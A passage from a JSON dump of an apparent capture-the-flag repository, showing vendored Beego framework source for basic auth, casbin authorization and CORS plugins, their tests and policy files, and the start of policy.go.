request\n//\t\tbeego.InsertFilter(\"*\", beego.BeforeRouter,auth.Basic(\"username\",\"secretpassword\"))\n//\t\tbeego.Run()\n//\t}\n//\n//\n// Advanced Usage:\n//\n//\tfunc SecretAuth(username, password string) bool {\n//\t\treturn username == \"astaxie\" && password == \"helloBeego\"\n//\t}\n//\tauthPlugin := auth.NewBasicAuthenticator(SecretAuth, \"Authorization Required\")\n//\tbeego.InsertFilter(\"*\", beego.BeforeRouter,authPlugin)\npackage auth\n\nimport (\n\t\"encoding/base64\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context\"\n)\n\nvar defaultRealm = \"Authorization Required\"\n\n// Basic is the http basic auth\nfunc Basic(username string, password string) beego.FilterFunc {\n\tsecrets := func(user, pass string) bool {\n\t\treturn user == username && pass == password\n\t}\n\treturn NewBasicAuthenticator(secrets, defaultRealm)\n}\n\n// NewBasicAuthenticator return the BasicAuth\nfunc NewBasicAuthenticator(secrets SecretProvider, Realm string) beego.FilterFunc {\n\treturn func(ctx *context.Context) {\n\t\ta := &BasicAuth{Secrets: secrets, Realm: Realm}\n\t\tif username := a.CheckAuth(ctx.Request); username == \"\" {\n\t\t\ta.RequireAuth(ctx.ResponseWriter, ctx.Request)\n\t\t}\n\t}\n}\n\n// SecretProvider is the SecretProvider function\ntype SecretProvider func(user, pass string) bool\n\n// BasicAuth store the SecretProvider and Realm\ntype BasicAuth struct {\n\tSecrets SecretProvider\n\tRealm   string\n}\n\n// CheckAuth Checks the username/password combination from the request. Returns\n// either an empty string (authentication failed) or the name of the\n// authenticated user.\n// Supports MD5 and SHA1 password entries\nfunc (a *BasicAuth) CheckAuth(r *http.Request) string {\n\ts := strings.SplitN(r.Header.Get(\"Authorization\"), \" \", 2)\n\tif len(s) != 2 || s[0] != \"Basic\" {\n\t\treturn \"\"\n\t}\n\n\tb, err := base64.StdEncoding.DecodeString(s[1])\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\tpair := strings.SplitN(string(b), \":\", 2)\n\tif len(pair) != 2 {\n\t\treturn \"\"\n\t}\n\n\tif a.Secrets(pair[0], pair[1]) {\n\t\treturn pair[0]\n\t}\n\treturn \"\"\n}\n\n// RequireAuth http.Handler for BasicAuth which initiates the authentication process\n// (or requires reauthentication).\nfunc (a *BasicAuth) RequireAuth(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"`+a.Realm+`\"`)\n\tw.WriteHeader(401)\n\tw.Write([]byte(\"401 Unauthorized\\n\"))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/authz/authz.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package authz provides handlers to enable ACL, RBAC, ABAC authorization support.\n// Simple Usage:\n//\timport(\n//\t\t\"github.com/astaxie/beego\"\n//\t\t\"github.com/astaxie/beego/plugins/authz\"\n//\t\t\"github.com/casbin/casbin\"\n//\t)\n//\n//\tfunc main(){\n//\t\t// mediate the access for every request\n//\t\tbeego.InsertFilter(\"*\", beego.BeforeRouter, authz.NewAuthorizer(casbin.NewEnforcer(\"authz_model.conf\", \"authz_policy.csv\")))\n//\t\tbeego.Run()\n//\t}\n//\n//\n// Advanced Usage:\n//\n//\tfunc main(){\n//\t\te := casbin.NewEnforcer(\"authz_model.conf\", \"\")\n//\t\te.AddRoleForUser(\"alice\", \"admin\")\n//\t\te.AddPolicy(...)\n//\n//\t\tbeego.InsertFilter(\"*\", beego.BeforeRouter, authz.NewAuthorizer(e))\n//\t\tbeego.Run()\n//\t}\npackage authz\n\nimport (\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/casbin/casbin\"\n\t\"net/http\"\n)\n\n// NewAuthorizer returns the authorizer.\n// Use a casbin enforcer as input\nfunc NewAuthorizer(e *casbin.Enforcer) beego.FilterFunc {\n\treturn func(ctx *context.Context) {\n\t\ta := &BasicAuthorizer{enforcer: e}\n\n\t\tif !a.CheckPermission(ctx.Request) {\n\t\t\ta.RequirePermission(ctx.ResponseWriter)\n\t\t}\n\t}\n}\n\n// BasicAuthorizer stores the casbin handler\ntype BasicAuthorizer struct {\n\tenforcer *casbin.Enforcer\n}\n\n// GetUserName gets the user name from the request.\n// Currently, only HTTP basic authentication is supported\nfunc (a *BasicAuthorizer) GetUserName(r *http.Request) string {\n\tusername, _, _ := r.BasicAuth()\n\treturn username\n}\n\n// CheckPermission checks the user/method/path combination from the request.\n// Returns true (permission granted) or false (permission forbidden)\nfunc (a *BasicAuthorizer) CheckPermission(r *http.Request) bool {\n\tuser := a.GetUserName(r)\n\tmethod := r.Method\n\tpath := r.URL.Path\n\treturn a.enforcer.Enforce(user, path, method)\n}\n\n// RequirePermission returns the 403 Forbidden to the client\nfunc (a *BasicAuthorizer) RequirePermission(w http.ResponseWriter) {\n\tw.WriteHeader(403)\n\tw.Write([]byte(\"403 Forbidden\\n\"))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/authz/authz_model.conf",
    "content": "[request_definition]\nr = sub, obj, act\n\n[policy_definition]\np = sub, obj, act\n\n[role_definition]\ng = _, _\n\n[policy_effect]\ne = some(where (p.eft == allow))\n\n[matchers]\nm = g(r.sub, p.sub) && keyMatch(r.obj, p.obj) && (r.act == p.act || p.act == \"*\")"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/authz/authz_policy.csv",
    "content": "p, alice, /dataset1/*, GET\np, alice, /dataset1/resource1, POST\np, bob, /dataset2/resource1, *\np, bob, /dataset2/resource2, GET\np, bob, /dataset2/folder1/*, POST\np, dataset1_admin, /dataset1/*, *\ng, cathy, dataset1_admin"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/authz/authz_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage authz\n\nimport (\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/plugins/auth\"\n\t\"github.com/casbin/casbin\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc testRequest(t *testing.T, handler *beego.ControllerRegister, user string, path string, method string, code int) {\n\tr, _ := http.NewRequest(method, path, nil)\n\tr.SetBasicAuth(user, \"123\")\n\tw := httptest.NewRecorder()\n\thandler.ServeHTTP(w, r)\n\n\tif w.Code != code {\n\t\tt.Errorf(\"%s, %s, %s: %d, supposed to be %d\", user, path, method, w.Code, code)\n\t}\n}\n\nfunc TestBasic(t *testing.T) {\n\thandler := beego.NewControllerRegister()\n\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, auth.Basic(\"alice\", \"123\"))\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, NewAuthorizer(casbin.NewEnforcer(\"authz_model.conf\", \"authz_policy.csv\")))\n\n\thandler.Any(\"*\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(200)\n\t})\n\n\ttestRequest(t, handler, \"alice\", \"/dataset1/resource1\", \"GET\", 200)\n\ttestRequest(t, handler, \"alice\", \"/dataset1/resource1\", \"POST\", 200)\n\ttestRequest(t, handler, \"alice\", \"/dataset1/resource2\", \"GET\", 200)\n\ttestRequest(t, handler, \"alice\", \"/dataset1/resource2\", \"POST\", 403)\n}\n\nfunc TestPathWildcard(t *testing.T) {\n\thandler := beego.NewControllerRegister()\n\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, auth.Basic(\"bob\", \"123\"))\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, NewAuthorizer(casbin.NewEnforcer(\"authz_model.conf\", \"authz_policy.csv\")))\n\n\thandler.Any(\"*\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(200)\n\t})\n\n\ttestRequest(t, handler, \"bob\", \"/dataset2/resource1\", \"GET\", 200)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/resource1\", \"POST\", 200)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/resource1\", \"DELETE\", 200)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/resource2\", \"GET\", 200)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/resource2\", \"POST\", 403)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/resource2\", \"DELETE\", 403)\n\n\ttestRequest(t, handler, \"bob\", \"/dataset2/folder1/item1\", \"GET\", 403)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/folder1/item1\", \"POST\", 200)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/folder1/item1\", \"DELETE\", 403)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/folder1/item2\", \"GET\", 403)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/folder1/item2\", \"POST\", 200)\n\ttestRequest(t, handler, \"bob\", \"/dataset2/folder1/item2\", \"DELETE\", 403)\n}\n\nfunc TestRBAC(t *testing.T) {\n\thandler := beego.NewControllerRegister()\n\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, auth.Basic(\"cathy\", \"123\"))\n\te := casbin.NewEnforcer(\"authz_model.conf\", \"authz_policy.csv\")\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, NewAuthorizer(e))\n\n\thandler.Any(\"*\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(200)\n\t})\n\n\t// cathy can access all /dataset1/* resources via all methods because it has the dataset1_admin role.\n\ttestRequest(t, handler, \"cathy\", \"/dataset1/item\", \"GET\", 200)\n\ttestRequest(t, handler, \"cathy\", \"/dataset1/item\", \"POST\", 200)\n\ttestRequest(t, handler, \"cathy\", \"/dataset1/item\", \"DELETE\", 200)\n\ttestRequest(t, handler, \"cathy\", \"/dataset2/item\", \"GET\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset2/item\", \"POST\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset2/item\", \"DELETE\", 403)\n\n\t// delete all roles on user cathy, so cathy cannot access any resources now.\n\te.DeleteRolesForUser(\"cathy\")\n\n\ttestRequest(t, handler, \"cathy\", \"/dataset1/item\", \"GET\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset1/item\", \"POST\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset1/item\", \"DELETE\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset2/item\", \"GET\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset2/item\", \"POST\", 403)\n\ttestRequest(t, handler, \"cathy\", \"/dataset2/item\", \"DELETE\", 403)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/cors/cors.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package cors provides handlers to enable CORS support.\n// Usage\n//\timport (\n// \t\t\"github.com/astaxie/beego\"\n//\t\t\"github.com/astaxie/beego/plugins/cors\"\n// )\n//\n//\tfunc main() {\n//\t\t// CORS for https://foo.* origins, allowing:\n//\t\t// - PUT and PATCH methods\n//\t\t// - Origin header\n//\t\t// - Credentials share\n//\t\tbeego.InsertFilter(\"*\", beego.BeforeRouter, cors.Allow(&cors.Options{\n//\t\t\tAllowOrigins:     []string{\"https://*.foo.com\"},\n//\t\t\tAllowMethods:     []string{\"PUT\", \"PATCH\"},\n//\t\t\tAllowHeaders:     []string{\"Origin\"},\n//\t\t\tExposeHeaders:    []string{\"Content-Length\"},\n//\t\t\tAllowCredentials: true,\n//\t\t}))\n//\t\tbeego.Run()\n//\t}\npackage cors\n\nimport (\n\t\"net/http\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context\"\n)\n\nconst (\n\theaderAllowOrigin      = \"Access-Control-Allow-Origin\"\n\theaderAllowCredentials = \"Access-Control-Allow-Credentials\"\n\theaderAllowHeaders     = \"Access-Control-Allow-Headers\"\n\theaderAllowMethods     = \"Access-Control-Allow-Methods\"\n\theaderExposeHeaders    = \"Access-Control-Expose-Headers\"\n\theaderMaxAge           = \"Access-Control-Max-Age\"\n\n\theaderOrigin         = \"Origin\"\n\theaderRequestMethod  = \"Access-Control-Request-Method\"\n\theaderRequestHeaders = \"Access-Control-Request-Headers\"\n)\n\nvar (\n\tdefaultAllowHeaders = []string{\"Origin\", \"Accept\", \"Content-Type\", \"Authorization\"}\n\t// Regex patterns are generated from AllowOrigins. These are used and generated internally.\n\tallowOriginPatterns = []string{}\n)\n\n// Options represents Access Control options.\ntype Options struct {\n\t// If set, all origins are allowed.\n\tAllowAllOrigins bool\n\t// A list of allowed origins. Wild cards and FQDNs are supported.\n\tAllowOrigins []string\n\t// If set, allows to share auth credentials such as cookies.\n\tAllowCredentials bool\n\t// A list of allowed HTTP methods.\n\tAllowMethods []string\n\t// A list of allowed HTTP headers.\n\tAllowHeaders []string\n\t// A list of exposed HTTP headers.\n\tExposeHeaders []string\n\t// Max age of the CORS headers.\n\tMaxAge time.Duration\n}\n\n// Header converts options into CORS headers.\nfunc (o *Options) Header(origin string) (headers map[string]string) {\n\theaders = make(map[string]string)\n\t// if origin is not allowed, don't extend the headers\n\t// with CORS headers.\n\tif !o.AllowAllOrigins && !o.IsOriginAllowed(origin) {\n\t\treturn\n\t}\n\n\t// add allow origin\n\tif o.AllowAllOrigins {\n\t\theaders[headerAllowOrigin] = \"*\"\n\t} else {\n\t\theaders[headerAllowOrigin] = origin\n\t}\n\n\t// add allow credentials\n\theaders[headerAllowCredentials] = strconv.FormatBool(o.AllowCredentials)\n\n\t// add allow methods\n\tif len(o.AllowMethods) > 0 {\n\t\theaders[headerAllowMethods] = strings.Join(o.AllowMethods, \",\")\n\t}\n\n\t// add allow headers\n\tif len(o.AllowHeaders) > 0 {\n\t\theaders[headerAllowHeaders] = strings.Join(o.AllowHeaders, \",\")\n\t}\n\n\t// add exposed header\n\tif len(o.ExposeHeaders) > 0 {\n\t\theaders[headerExposeHeaders] = strings.Join(o.ExposeHeaders, \",\")\n\t}\n\t// add a max age header\n\tif o.MaxAge > time.Duration(0) {\n\t\theaders[headerMaxAge] = strconv.FormatInt(int64(o.MaxAge/time.Second), 10)\n\t}\n\treturn\n}\n\n// PreflightHeader converts options into CORS headers for a preflight response.\nfunc (o *Options) PreflightHeader(origin, rMethod, rHeaders string) (headers map[string]string) {\n\theaders = make(map[string]string)\n\tif !o.AllowAllOrigins && !o.IsOriginAllowed(origin) {\n\t\treturn\n\t}\n\t// verify if requested method is allowed\n\tfor _, method := range o.AllowMethods {\n\t\tif method == rMethod {\n\t\t\theaders[headerAllowMethods] = strings.Join(o.AllowMethods, \",\")\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// verify if requested headers are allowed\n\tvar allowed []string\n\tfor _, rHeader := range strings.Split(rHeaders, \",\") {\n\t\trHeader = strings.TrimSpace(rHeader)\n\tlookupLoop:\n\t\tfor _, allowedHeader := range o.AllowHeaders {\n\t\t\tif strings.ToLower(rHeader) == strings.ToLower(allowedHeader) {\n\t\t\t\tallowed = append(allowed, rHeader)\n\t\t\t\tbreak lookupLoop\n\t\t\t}\n\t\t}\n\t}\n\n\theaders[headerAllowCredentials] = strconv.FormatBool(o.AllowCredentials)\n\t// add allow origin\n\tif o.AllowAllOrigins {\n\t\theaders[headerAllowOrigin] = \"*\"\n\t} else {\n\t\theaders[headerAllowOrigin] = origin\n\t}\n\n\t// add allowed headers\n\tif len(allowed) > 0 {\n\t\theaders[headerAllowHeaders] = strings.Join(allowed, \",\")\n\t}\n\n\t// add exposed headers\n\tif len(o.ExposeHeaders) > 0 {\n\t\theaders[headerExposeHeaders] = strings.Join(o.ExposeHeaders, \",\")\n\t}\n\t// add a max age header\n\tif o.MaxAge > time.Duration(0) {\n\t\theaders[headerMaxAge] = strconv.FormatInt(int64(o.MaxAge/time.Second), 10)\n\t}\n\treturn\n}\n\n// IsOriginAllowed looks up if the origin matches one of the patterns\n// generated from Options.AllowOrigins patterns.\nfunc (o *Options) IsOriginAllowed(origin string) (allowed bool) {\n\tfor _, pattern := range allowOriginPatterns {\n\t\tallowed, _ = regexp.MatchString(pattern, origin)\n\t\tif allowed {\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}\n\n// Allow enables CORS for requests those match the provided options.\nfunc Allow(opts *Options) beego.FilterFunc {\n\t// Allow default headers if nothing is specified.\n\tif len(opts.AllowHeaders) == 0 {\n\t\topts.AllowHeaders = defaultAllowHeaders\n\t}\n\n\tfor _, origin := range opts.AllowOrigins {\n\t\tpattern := regexp.QuoteMeta(origin)\n\t\tpattern = strings.Replace(pattern, \"\\\\*\", \".*\", -1)\n\t\tpattern = strings.Replace(pattern, \"\\\\?\", \".\", -1)\n\t\tallowOriginPatterns = append(allowOriginPatterns, \"^\"+pattern+\"$\")\n\t}\n\n\treturn func(ctx *context.Context) {\n\t\tvar (\n\t\t\torigin           = ctx.Input.Header(headerOrigin)\n\t\t\trequestedMethod  = ctx.Input.Header(headerRequestMethod)\n\t\t\trequestedHeaders = ctx.Input.Header(headerRequestHeaders)\n\t\t\t// additional headers to be added\n\t\t\t// to the response.\n\t\t\theaders map[string]string\n\t\t)\n\n\t\tif ctx.Input.Method() == \"OPTIONS\" &&\n\t\t\t(requestedMethod != \"\" || requestedHeaders != \"\") {\n\t\t\theaders = opts.PreflightHeader(origin, requestedMethod, requestedHeaders)\n\t\t\tfor key, value := range headers {\n\t\t\t\tctx.Output.Header(key, value)\n\t\t\t}\n\t\t\tctx.ResponseWriter.WriteHeader(http.StatusOK)\n\t\t\treturn\n\t\t}\n\t\theaders = opts.Header(origin)\n\n\t\tfor key, value := range headers {\n\t\t\tctx.Output.Header(key, value)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/plugins/cors/cors_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cors\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/context\"\n)\n\n// HTTPHeaderGuardRecorder is httptest.ResponseRecorder with own http.Header\ntype HTTPHeaderGuardRecorder struct {\n\t*httptest.ResponseRecorder\n\tsavedHeaderMap http.Header\n}\n\n// NewRecorder return HttpHeaderGuardRecorder\nfunc NewRecorder() *HTTPHeaderGuardRecorder {\n\treturn &HTTPHeaderGuardRecorder{httptest.NewRecorder(), nil}\n}\n\nfunc (gr *HTTPHeaderGuardRecorder) WriteHeader(code int) {\n\tgr.ResponseRecorder.WriteHeader(code)\n\tgr.savedHeaderMap = gr.ResponseRecorder.Header()\n}\n\nfunc (gr *HTTPHeaderGuardRecorder) Header() http.Header {\n\tif gr.savedHeaderMap != nil {\n\t\t// headers were written. clone so we don't get updates\n\t\tclone := make(http.Header)\n\t\tfor k, v := range gr.savedHeaderMap {\n\t\t\tclone[k] = v\n\t\t}\n\t\treturn clone\n\t}\n\treturn gr.ResponseRecorder.Header()\n}\n\nfunc Test_AllowAll(t *testing.T) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowAllOrigins: true,\n\t}))\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\thandler.ServeHTTP(recorder, r)\n\n\tif recorder.HeaderMap.Get(headerAllowOrigin) != \"*\" {\n\t\tt.Errorf(\"Allow-Origin header should be *\")\n\t}\n}\n\nfunc Test_AllowRegexMatch(t *testing.T) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowOrigins: []string{\"https://aaa.com\", \"https://*.foo.com\"},\n\t}))\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\torigin := \"https://bar.foo.com\"\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\tr.Header.Add(\"Origin\", origin)\n\thandler.ServeHTTP(recorder, r)\n\n\theaderValue := recorder.HeaderMap.Get(headerAllowOrigin)\n\tif headerValue != origin {\n\t\tt.Errorf(\"Allow-Origin header should be %v, found %v\", origin, headerValue)\n\t}\n}\n\nfunc Test_AllowRegexNoMatch(t *testing.T) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowOrigins: []string{\"https://*.foo.com\"},\n\t}))\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\torigin := \"https://ww.foo.com.evil.com\"\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\tr.Header.Add(\"Origin\", origin)\n\thandler.ServeHTTP(recorder, r)\n\n\theaderValue := recorder.HeaderMap.Get(headerAllowOrigin)\n\tif headerValue != \"\" {\n\t\tt.Errorf(\"Allow-Origin header should not exist, found %v\", headerValue)\n\t}\n}\n\nfunc Test_OtherHeaders(t *testing.T) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowAllOrigins:  true,\n\t\tAllowCredentials: true,\n\t\tAllowMethods:     []string{\"PATCH\", \"GET\"},\n\t\tAllowHeaders:     []string{\"Origin\", \"X-whatever\"},\n\t\tExposeHeaders:    []string{\"Content-Length\", \"Hello\"},\n\t\tMaxAge:           5 * time.Minute,\n\t}))\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\thandler.ServeHTTP(recorder, r)\n\n\tcredentialsVal := recorder.HeaderMap.Get(headerAllowCredentials)\n\tmethodsVal := recorder.HeaderMap.Get(headerAllowMethods)\n\theadersVal := recorder.HeaderMap.Get(headerAllowHeaders)\n\texposedHeadersVal := recorder.HeaderMap.Get(headerExposeHeaders)\n\tmaxAgeVal := recorder.HeaderMap.Get(headerMaxAge)\n\n\tif credentialsVal != \"true\" {\n\t\tt.Errorf(\"Allow-Credentials is expected to be true, found %v\", credentialsVal)\n\t}\n\n\tif methodsVal != \"PATCH,GET\" {\n\t\tt.Errorf(\"Allow-Methods is expected to be PATCH,GET; found %v\", methodsVal)\n\t}\n\n\tif headersVal != \"Origin,X-whatever\" {\n\t\tt.Errorf(\"Allow-Headers is expected to be Origin,X-whatever; found %v\", headersVal)\n\t}\n\n\tif exposedHeadersVal != \"Content-Length,Hello\" {\n\t\tt.Errorf(\"Expose-Headers are expected to be Content-Length,Hello. Found %v\", exposedHeadersVal)\n\t}\n\n\tif maxAgeVal != \"300\" {\n\t\tt.Errorf(\"Max-Age is expected to be 300, found %v\", maxAgeVal)\n\t}\n}\n\nfunc Test_DefaultAllowHeaders(t *testing.T) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowAllOrigins: true,\n\t}))\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\thandler.ServeHTTP(recorder, r)\n\n\theadersVal := recorder.HeaderMap.Get(headerAllowHeaders)\n\tif headersVal != \"Origin,Accept,Content-Type,Authorization\" {\n\t\tt.Errorf(\"Allow-Headers is expected to be Origin,Accept,Content-Type,Authorization; found %v\", headersVal)\n\t}\n}\n\nfunc Test_Preflight(t *testing.T) {\n\trecorder := NewRecorder()\n\thandler := beego.NewControllerRegister()\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowAllOrigins: true,\n\t\tAllowMethods:    []string{\"PUT\", \"PATCH\"},\n\t\tAllowHeaders:    []string{\"Origin\", \"X-whatever\", \"X-CaseSensitive\"},\n\t}))\n\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(200)\n\t})\n\n\tr, _ := http.NewRequest(\"OPTIONS\", \"/foo\", nil)\n\tr.Header.Add(headerRequestMethod, \"PUT\")\n\tr.Header.Add(headerRequestHeaders, \"X-whatever, x-casesensitive\")\n\thandler.ServeHTTP(recorder, r)\n\n\theaders := recorder.Header()\n\tmethodsVal := headers.Get(headerAllowMethods)\n\theadersVal := headers.Get(headerAllowHeaders)\n\toriginVal := headers.Get(headerAllowOrigin)\n\n\tif methodsVal != \"PUT,PATCH\" {\n\t\tt.Errorf(\"Allow-Methods is expected to be PUT,PATCH, found %v\", methodsVal)\n\t}\n\n\tif !strings.Contains(headersVal, \"X-whatever\") {\n\t\tt.Errorf(\"Allow-Headers is expected to contain X-whatever, found %v\", headersVal)\n\t}\n\n\tif !strings.Contains(headersVal, \"x-casesensitive\") {\n\t\tt.Errorf(\"Allow-Headers is expected to contain x-casesensitive, found %v\", headersVal)\n\t}\n\n\tif originVal != \"*\" {\n\t\tt.Errorf(\"Allow-Origin is expected to be *, found %v\", originVal)\n\t}\n\n\tif recorder.Code != http.StatusOK {\n\t\tt.Errorf(\"Status code is expected to be 200, found %d\", recorder.Code)\n\t}\n}\n\nfunc Benchmark_WithoutCORS(b *testing.B) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\tbeego.BConfig.RunMode = beego.PROD\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\tb.ResetTimer()\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\tfor i := 0; i < b.N; i++ {\n\t\thandler.ServeHTTP(recorder, r)\n\t}\n}\n\nfunc Benchmark_WithCORS(b *testing.B) {\n\trecorder := httptest.NewRecorder()\n\thandler := beego.NewControllerRegister()\n\tbeego.BConfig.RunMode = beego.PROD\n\thandler.InsertFilter(\"*\", beego.BeforeRouter, Allow(&Options{\n\t\tAllowAllOrigins:  true,\n\t\tAllowCredentials: true,\n\t\tAllowMethods:     []string{\"PATCH\", \"GET\"},\n\t\tAllowHeaders:     []string{\"Origin\", \"X-whatever\"},\n\t\tMaxAge:           5 * time.Minute,\n\t}))\n\thandler.Any(\"/foo\", func(ctx *context.Context) {\n\t\tctx.Output.SetStatus(500)\n\t})\n\tb.ResetTimer()\n\tr, _ := http.NewRequest(\"PUT\", \"/foo\", nil)\n\tfor i := 0; i < b.N; i++ {\n\t\thandler.ServeHTTP(recorder, r)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/policy.go",
    "content": "// Copyright 2016 beego authors. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/context\"\n)\n\n// PolicyFunc defines a policy function which is invoked before the controller handler is executed.\ntype PolicyFunc func(*context.Context)\n\n// FindPolicy Find Router info for URL\nfunc (p *ControllerRegister) FindPolicy(cont *context.Context) []PolicyFunc {\n\tvar urlPath = cont.Input.URL()\n\tif !BConfig.RouterCaseSensitive {\n\t\turlPath = strings.ToLower(urlPath)\n\t}\n\thttpMethod := cont.Input.Method()\n\tisWildcard := 